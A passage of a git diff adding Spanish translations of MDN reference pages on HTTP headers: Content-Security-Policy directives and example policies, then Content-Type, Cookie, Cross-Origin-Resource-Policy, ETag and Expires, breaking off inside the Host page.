+ <dd class="note">Elements controlled by <code>object-src</code> are perhaps coincidentally considered legacy HTML elements and aren't recieving new standardized features (such as the security attributes <code>sandbox</code> or <code>allow</code> for <code>&lt;iframe&gt;</code>). Therefore it is <strong>recommended</strong> to restrict this fetch-directive (e.g. explicitly set <code>object-src 'none'</code> if possible).</dd>
+ <dt>{{CSP("prefetch-src")}}</dt>
+ <dd>Specifies valid sources to be prefetched or prerendered.</dd>
+ <dt>{{CSP("script-src")}}</dt>
+ <dd>Specifies valid sources for JavaScript.</dd>
+ <dt>{{CSP("style-src")}}</dt>
+ <dd>Specifies valid sources for stylesheets.</dd>
+ <dt>{{CSP("webrtc-src")}} {{experimental_inline}}</dt>
+ <dd>Specifies valid sources for <a href="/docs/Web/API/WebRTC_API">WebRTC</a> connections.</dd>
+ <dt>{{CSP("worker-src")}}</dt>
+ <dd>Specifies valid sources for {{domxref("Worker")}}, {{domxref("SharedWorker")}}, or {{domxref("ServiceWorker")}} scripts.</dd>
+</dl>
+
+<h3 id="Document_directives" name="Document_directives">{{Glossary("Document directive", "Document directives")}}</h3>
+
+<p>Document directives govern the properties of a document or <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">worker</a> environment to which a policy applies.</p>
+
+<dl>
+ <dt>{{CSP("base-uri")}}</dt>
+ <dd>Restricts the URLs which can be used in a document's {{HTMLElement("base")}} element.</dd>
+ <dt>{{CSP("plugin-types")}}</dt>
+ <dd>Restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded.</dd>
+ <dt>{{CSP("sandbox")}}</dt>
+ <dd>Enables a sandbox for the requested resource similar to the {{HTMLElement("iframe")}} {{htmlattrxref("sandbox", "iframe")}} attribute.</dd>
+ <dt>{{CSP("disown-opener")}} {{obsolete_inline}}</dt>
+ <dd>Ensures a resource will disown its opener when navigated to.</dd>
+</dl>
+
+<h3 id="Navigation_directives" name="Navigation_directives">{{Glossary("Navigation directive", "Navigation directives")}}</h3>
+
+<p>Navigation directives govern to which location a user can navigate to or submit a form to, for example.</p>
+
+<dl>
+ <dt>{{CSP("form-action")}}</dt>
+ <dd>Restricts the URLs which can be used as the target of a form submissions from a given context.</dd>
+ <dt>{{CSP("frame-ancestors")}}</dt>
+ <dd>Specifies valid parents that may embed a page using {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, or {{HTMLElement("applet")}}.</dd>
+ <dt>{{CSP("navigate-to")}} {{experimental_inline}}</dt>
+ <dd>Restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.)</dd>
+</dl>
+
+<h3 id="Reporting_directives" name="Reporting_directives">{{Glossary("Reporting directive", "Reporting directives")}}</h3>
+
+<p>Reporting directives control the reporting process of CSP violations. See also the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header.</p>
+
+<dl>
+ <dt>{{CSP("report-uri")}} {{obsolete_inline}}</dt>
+ <dd>Instructs the user agent to report attempts to violate the Content Security Policy. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.
+ <div class="warning">
+ <p>Though the {{CSP("report-to")}} directive is intended to replace the deprecated <code><strong>report-uri</strong></code> directive, {{CSP("report-to")}} isn’t supported in most browsers yet. So for compatibility with current browsers while also adding forward compatibility when browsers get {{CSP("report-to")}} support, you can specify both <code><strong>report-uri</strong></code> and {{CSP("report-to")}}:</p>
+
+ <pre class="syntaxbox">Content-Security-Policy: ...; report-uri https://endpoint.example.com; report-to groupname</pre>
+
+ <p>In browsers that support {{CSP("report-to")}}, the <code><strong>report-uri</strong></code> directive will be ignored.</p>
+ </div>
+ </dd>
+ <dt>{{CSP("report-to")}} {{experimental_inline}}</dt>
+ <dd>Fires a <code>SecurityPolicyViolationEvent</code>.</dd>
+</dl>
+
+<h3 id="Other_directives">Other directives</h3>
+
+<dl>
+ <dt>{{CSP("block-all-mixed-content")}}</dt>
+ <dd>Prevents loading any assets using HTTP when the page is loaded using HTTPS.</dd>
+ <dt>{{CSP("referrer")}} {{obsolete_inline}}</dt>
+ <dd>Used to specify information in the referer (sic) header for links away from a page. Use the {{HTTPHeader("Referrer-Policy")}} header instead.</dd>
+ <dt>{{CSP("require-sri-for")}}</dt>
+ <dd>Requires the use of {{Glossary("SRI")}} for scripts or styles on the page.</dd>
+</dl>
+
+<dl>
+ <dt>{{CSP("trusted-types")}} {{experimental_inline}}</dt>
+ <dd>Used to specify a whitelist of <a href="https://github.com/WICG/trusted-types">Trusted Types</a> policies (Trusted Types allows applications to lock down DOM XSS injection sinks to only accept non-spoofable, typed values in place of strings).</dd>
+</dl>
+
+<dl>
+ <dt>{{CSP("upgrade-insecure-requests")}}</dt>
+ <dd>Instructs user agents to treat all of a site's insecure URLs (those served over HTTP) as though they have been replaced with secure URLs (those served over HTTPS). This directive is intended for web sites with large numbers of insecure legacy URLs that need to be rewritten.</dd>
+</dl>
+
+<h2 id="CSP_in_workers">CSP in workers</h2>
+
+<p><a href="/en-US/docs/Web/API/Worker">Workers</a> en general no se rigen por las politicas de seguridad de contenido de el documento (o padre del worker) que los creó. To specify a content security policy for the worker, set a <code>Content-Security-Policy</code> response header for the request which requested the worker script itself.</p>
+
+<p>The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the content security policy of the document or worker that created it.</p>
+
+<h2 id="Multiple_content_security_policies">Multiple content security policies</h2>
+
+<p>CSP allows multiple policies being specified for a resource, including via the <code>Content-Security-Policy</code> header, the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header and a {{HTMLElement("meta")}} element.</p>
+
+<p>You can use the <code>Content-Security-Policy</code> header more than once like in the example below. Pay special attention to the {{CSP("connect-src")}} directive here. Even though the second policy would allow the connection, the first policy contains <code>connect-src 'none'</code>. Adding additional policies <em>can only further restrict</em> the capabilities of the protected resource, which means that there will be no connection allowed and, as the strictest policy, <code>connect-src 'none'</code> is enforced.</p>
+
+<pre>Content-Security-Policy: default-src 'self' http://example.com;
+                         connect-src 'none';
+Content-Security-Policy: connect-src http://example.com/;
+                         script-src http://example.com/</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Example: Disable unsafe inline/eval, only allow loading of resources (images, fonts, scripts, etc.) over https:</p>
+
+<pre>// header
+Content-Security-Policy: default-src https:
+
+// meta tag
+&lt;meta http-equiv="Content-Security-Policy" content="default-src https:"&gt;
+</pre>
+
+<p>Example: Pre-existing site that uses too much inline code to fix but wants to ensure resources are loaded only over https and disable plugins:</p>
+
+<pre>Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'</pre>
+
+<p>Example: Don't implement the above policy yet; instead just report violations that would have occurred:</p>
+
+<pre>Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre>
+
+<p>See <a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security#Examples_5">Mozilla Web Security Guidelines</a> for more examples.</p>
+
+<h2 id="Espeficicaciones">Espeficicaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Adds <code>disown-opener</code>, <code>manifest-src</code>, <code>navigate-to</code>, <code>report-to</code>, <code>strict-dynamic</code>, <code>worker-src</code>. Undeprecates <code>frame-src</code>. Deprecates <code>report-uri</code> in favor if <code>report-to</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Mixed Content")}}</td>
+   <td>{{Spec2('Mixed Content')}}</td>
+   <td>Adds <code>block-all-mixed-content</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Subresource Integrity")}}</td>
+   <td>{{Spec2('Subresource Integrity')}}</td>
+   <td>Adds <code>require-sri-for</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Upgrade Insecure Requests")}}</td>
+   <td>{{Spec2('Upgrade Insecure Requests')}}</td>
+   <td>Adds <code>upgrade-insecure-requests</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Adds <code>base-uri</code>, <code>child-src</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>referrer</code>, and <code>report-uri</code>. Deprecates <code>frame-src</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.0")}}</td>
+   <td>{{Spec2('CSP 1.0')}}</td>
+   <td>Defines <code>connect-src</code>, <code>default-src</code>, <code>font-src</code>, <code>frame-src</code>, <code>img-src</code>, <code>media-src</code>, <code>object-src</code>, report-uri, <code>sandbox</code>, <code>script-src,</code> and <code>style-src</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy")}}</p>
+
+<h2 id="Mirar_tambien">Mirar tambien</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+ <li><a href="/docs/Web/HTTP/CSP">Learn about: Content Security Policy</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li>
+ <li><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></li>
+ <li><a href="https://csp.withgoogle.com/docs/strict-csp.html">Adopting a strict policy</a></li>
+</ul>
diff --git a/files/es/web/http/headers/content-type/index.html b/files/es/web/http/headers/content-type/index.html
new file mode 100644
index 0000000000..3073616c56
--- /dev/null
+++ b/files/es/web/http/headers/content-type/index.html
@@ -0,0 +1,111 @@
+---
+title: Content-Type
+slug: Web/HTTP/Headers/Content-Type
+translation_of: Web/HTTP/Headers/Content-Type
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Type</code></strong> es la propiedad de cabecera (header) usada para indicar el  {{Glossary("MIME type","media type")}} del recurso.</p>
+
+<p><code>Content-Type</code> dice al cliente que tipo de contenido será retornado. Browsers will do MIME sniffing in some cases and will not necessarily follow the value of this header; to prevent this behavior, the header {{HTTPHeader("X-Content-Type-Options")}} can be set to <code>nosniff</code>.</p>
+
+<p>En solicitudes (tales como {{HTTPMethod("POST")}} o {{HTTPMethod("PUT")}}), el cliente indica al servidor que tipo de dato es enviado actualmente.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Content-Type: text/html; charset=utf-8
+Content-Type: multipart/form-data; boundary=something
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>media-type</code></dt>
+ <dd>El <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a> de el recurso o el dato.</dd>
+ <dt>charset</dt>
+ <dd>La codificación de caracteres.</dd>
+ <dt>boundary</dt>
+ <dd>Para entidades de tipo <em>multipart</em> la directiva <code>boundary</code> es obligatoria. Ella consiste en una secuencia de 1 a 70 caracteres de un conjunto conocido por su robustez en pasarelas de correo electrónico, y no pueden terminar con espacios en blanco. Es usada para encapsular los limites de los mensajes de múltiples partes.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Content-Type_in_HTML_forms"><code>Content-Type</code> in HTML forms</h3>
+
+<p>En una solicitud {{HTTPMethod("POST")}} , que resulta del envio de un formulario html, el <code>Content-Type</code> de la solicitud es especificado como un atributo <code>enctype</code> del elemento {{HTMLElement("form")}} .</p>
+
+<pre class="brush: html">&lt;form action="/" method="post" enctype="multipart/form-data"&gt;
+  &lt;input type="text" name="description" value="some text"&gt;
+  &lt;input type="file" name="myFile"&gt;
+  &lt;button type="submit"&gt;Submit&lt;/button&gt;
+&lt;/form&gt;
+</pre>
+
+<p>La solicitud se visualiza algo como esto (si tienes poco interes en los headers omite esto)</p>
+
+<pre>POST /foo HTTP/1.1
+Content-Length: 68137
+Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
+
+---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="description"
+
+some text
+---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="myFile"; filename="foo.txt"
+Content-Type: text/plain
+
+(content of the uploaded file foo.txt)
+---------------------------974767299852498929531610575
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta pagina es generada desde datos estructurados Si quieres contribuir con el dato, por favor ingresa a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos un <strong>pull request</strong>.</p>
+
+<p>{{Compat("http.headers.Content-Type")}}</p>
+
+<h2 id="Más_sobre">Más sobre</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}} and {{HTTPHeader("Accept-Charset")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+ <li>{{HTTPStatus("206")}} Partial Content</li>
+ <li>{{HTTPHeader("X-Content-Type-Options")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/cookie/index.html b/files/es/web/http/headers/cookie/index.html
new file mode 100644
index 0000000000..36cff2d8aa
--- /dev/null
+++ b/files/es/web/http/headers/cookie/index.html
@@ -0,0 +1,74 @@
+---
+title: Cookie
+slug: Web/HTTP/Headers/Cookie
+tags:
+  - Cookies
+  - encabezado
+  - solicitud
+translation_of: Web/HTTP/Headers/Cookie
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>El encabezado <strong><code>Cookie</code></strong> de una solicitud HTTP contiene <a href="/en-US/docs/Web/HTTP/Cookies">cookies HTTP </a>almacenadas y enviadas previamente por el servidor con el encabezado (<em><strong><code>header</code></strong></em>) {{HTTPHeader("Set-Cookie")}}</div>
+
+<div> </div>
+
+<div>Los encabezados <code>Cookie</code> puede ser omitidos por completo, si las preferencias de privacidad del navegador están configuradas para bloquearlos, por ejemplo.</div>
+
+<div> </div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Cookie: &lt;cookie-lista&gt;
+Cookie: nombre=valor
+Cookie: nombre=valor; nombre2=valor2...nombreN=valorN;</pre>
+
+<dl>
+ <dt>&lt;cookie-lista&gt;</dt>
+ <dd>Una lista de pares <code>nombre:valor </code>definidos como<code> &lt;nombre-de-cookie=&lt;valor-de-cookie&gt;</code>. Los pares en la lista son separados por un punto y coma seguido de un espacio <code>('; ')</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6265", "Cookie", "5.4")}}</td>
+   <td>HTTP State Management Mechanism</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en este sitio es generada desde datos estructurada. Si quieres contribuir con estos datos, por favor visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos una solicitud pull.</p>
+
+<p>{{Compat("http.headers.Cookie")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/cross-origin-resource-policy/index.html b/files/es/web/http/headers/cross-origin-resource-policy/index.html
new file mode 100644
index 0000000000..7aa86a84d9
--- /dev/null
+++ b/files/es/web/http/headers/cross-origin-resource-policy/index.html
@@ -0,0 +1,68 @@
+---
+title: Cross-Origin-Resource-Policy
+slug: Web/HTTP/Headers/Cross-Origin-Resource-Policy
+tags:
+  - HTTP
+  - Referencia
+  - Respuesta de encabezado
+  - encabezado
+  - encabezado HTTP
+translation_of: Web/HTTP/Headers/Cross-Origin-Resource-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La respuesta del encabezado HTTP <strong><code>Cross-Origin-Resource-Policy</code></strong> transmite un deseo de que el navegador bloquee peticiones no-cors cross-origin/cross-site al recurso dado</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header", "Respuesta del encabezado")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombre prohibido del encabezado")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Cross-Origin-Resource-Policy: same-site | same-origin | cross-origin
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>La respuesta de encabezado debajo puede causar que agentes de usuario compatibles desabiliten peticiones cross-origin no-cors:</p>
+
+<pre>Cross-Origin-Resource-Policy: same-origin
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Fetch", '#cross-origin-resource-policy-header')}}</td>
+   <td>{{Spec2("Fetch", '#cross-origin-resource-policy-header')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+
+
+<p>{{Compat("http.headers.Cross-Origin-Resource-Policy")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Cross-Origin_Resource_Policy_(CORP)">Explicador de la política de recursos cruzados (Cross-Origin Resource Policy - CORP) </a></li>
+</ul>
diff --git a/files/es/web/http/headers/etag/index.html b/files/es/web/http/headers/etag/index.html
new file mode 100644
index 0000000000..7e8b0ebe5d
--- /dev/null
+++ b/files/es/web/http/headers/etag/index.html
@@ -0,0 +1,98 @@
+---
+title: ETag
+slug: Web/HTTP/Headers/ETag
+translation_of: Web/HTTP/Headers/ETag
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta de HTTP <strong><code>ETag</code></strong> es un identificador para una versión específica de un recurso.  Permite a la memoria caché ser más eficiente, y ahorrar ancho de banda, en tanto que un servidor web no necesita enviar una respuesta completa si el contenido no ha cambiado.  Por otro lado, si el contenido cambió, los etags son útiles para ayudar a prevenir actualizaciones simultáneas de un recurso de sobre-escribirlo por otro ("colisiones en el aire").</p>
+
+<p>Si el recurso en una URL dada cambia, un valor Etag debe ser generado.  De esta forma los Etags son muy similares a las huellas digitales y pueden también usarse para propósitos de rastreo por algunos servidores.  Un comparativo de ellos permite rápidamente determinar cuándo dos representaciones de un recurso son las mismas, pero podrían también configurarse para persistir indefinidamente por un servidor en rastreo.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de Encabezado</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">ETag: W/"&lt;valor_etag&gt;"
+ETag: "&lt;valor_etag&gt;"
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>W/</code> {{optional_inline}}</dt>
+ <dd><code>'W/'</code> (sensible a mayúsculas) indica que se usa un <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">validador débil</a>.  Los validadores débiles son fáciles de generar pero son menos útiles para realizar comparativos.  Los validadores fuertes son ideales para realizar comparativos pero pueden ser muy difíciles de generar  de forma eficiente.  Los valores Etag débiles de dos representaciones de los mismos recursos podrían ser semánticamente equivalentes, pero no idénticos byte por byte. Esto significa que los Etag débiles previenen el almacenamiento en caché cuando el <a href="https://wiki.developer.mozilla.org/es/docs/Web/HTTP/Headers/Accept-Ranges">range request por byte</a> es usado, a su vez los Etag fuertes permiten que los range request puedan utilizar el almacenamiendo en caché.</dd>
+ <dt>"&lt;valor_etag&gt;"</dt>
+ <dd>Las Etiquetas de Entidad (ETags) representan de forma única a los recursos.  Son una cadena de caracteres ASCII puestas entre comillas dobles (Como <code>"675af34563dc-tr34"</code>).  El método por el cual se generan los valores <code>ETag</code> no está especificado. Muchas veces, se usa una etiqueda del contenido, una etiqueta de la fecha y hora de la última modificación, o sólo una revisión.  Por ejemplo, MDN usa una etiqueda de dígitos hexadecimales para el contenido wiki.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="notranslate">ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ETag: W/"0815"</pre>
+
+<h3 id="Evitando_las_colisiones_en_el_aire">Evitando las colisiones en el aire</h3>
+
+<p>Con la ayuda del <code>ETag</code> y los encabezados {{HTTPHeader("If-Match")}} se puede ser capaz de detectar las colisiones de edición en el aire.</p>
+
+<p>Por ejemplo cuando se edita MDN, el contenido wiki actual es etiquetado y puesto en un <code>Etag</code> en la respuesta:</p>
+
+<pre class="notranslate">ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>Cuando se guarda los cambios de una página a una página wiki (datos posteados), la petición  {{HTTPMethod("POST")}} contendrá el encabezado que contiene los valores <code>ETag</code> para revisar la frescura entre ellas.</p>
+
+<pre class="notranslate">If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>Si las etiquetas no concuerdan, significa que el documento ha sido editado de por sí y se lanza un error  {{HTTPStatus("412")}}<code> Precondition Failed</code>.</p>
+
+<h3 id="Caching_de_los_recursos_invariados">Caching de los recursos invariados</h3>
+
+<p>Otro caso típico del uso del encabezado <code>ETag</code> es el cacheo de recursos que no han variado.  Si un usuario visita una URL dada nuevamente (la que tiene un conjunto <code>ETag</code>), y está <em>viciado</em>, es decir que es muy viejo para considerarlo usable, el cliente enviará el valor de su <code>ETag</code> a través de un campo de encabezado {{HTTPHeader("If-None-Match")}}:</p>
+
+<pre class="notranslate">If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>El servidor compara el <code>ETag</code> del cliente (enviado con un <code>If-None-Match</code>) con el <code>ETag</code> para su versión actual del recurso y si ambos valores concuerdan (esto es, el recurso no ha cambiado), el servidor envió un estado {{HTTPStatus("304")}}<code> Not Modified</code>, sin ningún cuerpo, lo cual le dice al cliente que la versión cacheada de la respuesta todavía es buena para usar (<em>refrescar</em>).</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "ETag", "2.3")}}</td>
+   <td>Protocolo de Transferencia por Hipertexto (HTTP/1.1): Peticiones Condicionales</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.ETag")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+ <li>
+  <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/headers/expires/index.html b/files/es/web/http/headers/expires/index.html
new file mode 100644
index 0000000000..80c39c61f6
--- /dev/null
+++ b/files/es/web/http/headers/expires/index.html
@@ -0,0 +1,81 @@
+---
+title: Expires
+slug: Web/HTTP/Headers/Expires
+tags:
+  - Cache
+  - Expires
+  - HTTP
+  - Respuesta
+  - encabezado
+translation_of: Web/HTTP/Headers/Expires
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado <code><strong>Expires</strong></code> contiene la fecha y hora en la que se considerará la respuesta caducada.</p>
+
+<p>Fechas inválidas, como el valor 0, representan una fecha en el pasado, esto significa que el recurso ya ha expirado.</p>
+
+<p>Si existe un encabezado {{HTTPHeader("Cache-Control")}} con la directiva "max-age" o "s-max-age" en la respuesta, el encabezado <code>Expires</code> será ignorado.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Encabezado</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de encabezado Prohibido")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Expires: &lt;http-date&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;http-date&gt;</dt>
+ <dd>
+ <p>Una estampa de tiempo HTTP.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre>Expires: Jue, 21 Oct 2017 07:28:00 GMT</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Expires", "5.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Expires")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/host/index.html b/files/es/web/http/headers/host/index.html
new file mode 100644
index 0000000000..2e7ac10815
--- /dev/null
+++ b/files/es/web/http/headers/host/index.html
@@ -0,0 +1,75 @@
+---
+title: Host
+slug: Web/HTTP/Headers/Host
+tags:
+  - Cabecera
+  - HTTP
+  - Referencia
+translation_of: Web/HTTP/Headers/Host
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de solicitud <code><strong>Host</strong></code> especifica el nombre de dominio del servidor (para hosting virtual), y (opcionalmente) el número de puerto TCP en el que el servidor esta escuchando.</p>
+
+<p>Si no se provee un puerto, se usará el puerto por defecto para el servicio solicitado (e.j.: "80" para una URL HTTP).</p>
+
+<p>El encabezado <code>Host</code> debe enviarse obligatoriamente en todas las solicitudes HTTP/1.1. Un código de error {{HTTPStatus("400")}} (Petición mala) debería enviarse a cualquier solicitud HTTP/1.1 que no contiene o contiene más de un encabezado <code>Host</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>Encabezado de solicitud</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Host: &lt;host&gt;:&lt;puerto&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;host&gt;</dt>
+ <dd>el nombre de dominio del servidor (pata hosting virtual).</dd>
